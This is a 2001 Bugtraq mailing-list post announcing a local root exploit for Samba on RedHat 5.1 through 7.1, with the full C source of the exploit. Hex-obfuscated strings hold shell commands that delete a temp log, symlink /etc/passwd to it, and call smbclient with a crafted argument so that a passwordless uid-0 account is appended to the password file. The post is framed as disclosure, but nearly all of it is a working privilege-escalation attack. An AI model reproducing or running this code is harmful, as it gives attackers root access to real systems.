samba root exploit in RedHat
Date: Thu, 25 Oct 2001 20:10:45 -0300
From: gabriel maggiotti <gmaggiot@ciudad.com.ar>
To: bugtraq@securityfocus.com
Subject: samba root exploit in RedHat
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name="smbexp.c"
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filename="smbexp.c"
/*
* Samba Server r00t exploit
*
* Scope: Local (this exploit) and posible remote if conditions are given.
* Vuln:
* RedHat 5.1
* RedHat 5.2
* RedHat 6.0
* RedHat 6.1
* RedHat 6.2
* RedHat 7.0
* RedHat 7.1
* I don't know if other versions are vulnerable too.
*
* Run this exploit and then take a look at your passwd file.
* Run: ./samba-exp user
*
* Author: Gabriel Maggiotti
* Email: gmaggiot@ciudad.com.ar
* Webpage: http://qb0x.net
*/
#include <stdio.h>
#include <string.h>
int main(int argc,char *argv[])
{
char inject1[]=
"\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f"
"\x74\x6d\x70\x2f\x78\x2e\x6c\x6f\x67";
char inject2[]=
"\x2f\x62\x69\x6e\x2f\x6c\x6e\x20\x2d\x73\x20\x2f\x65"
"\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x74\x6d"
"\x70\x2f\x78\x2e\x6c\x6f\x67";
char inject3a[100]=
"\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x6d\x62\x63"
"\x6c\x69\x65\x6e\x74\x20\x2f\x2f\x6c\x6f\x63\x61\x6c"
"\x68\x6f\x73\x74\x2f\x22\xa\xa";
char inject3b[]=
"\x3a\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x5c\x6e\x22\x20\x2d\x6e\x20\x2e\x2e\x2f"
"\x2e\x2e\x2f\x2e\x2e\x2f\x74\x6d\x70\x2f\x78\x20\x2d"
"\x4e\xa";
if(argc!=2){
fprintf(stderr,"usage: %s <user>\n",*argv);
return 1;
}
strcat(inject3a,argv[1]);
strcat(inject3a,inject3b);
system(inject1, 0);
system(inject2, 0);
system(inject3a, 0);
return 0;
}
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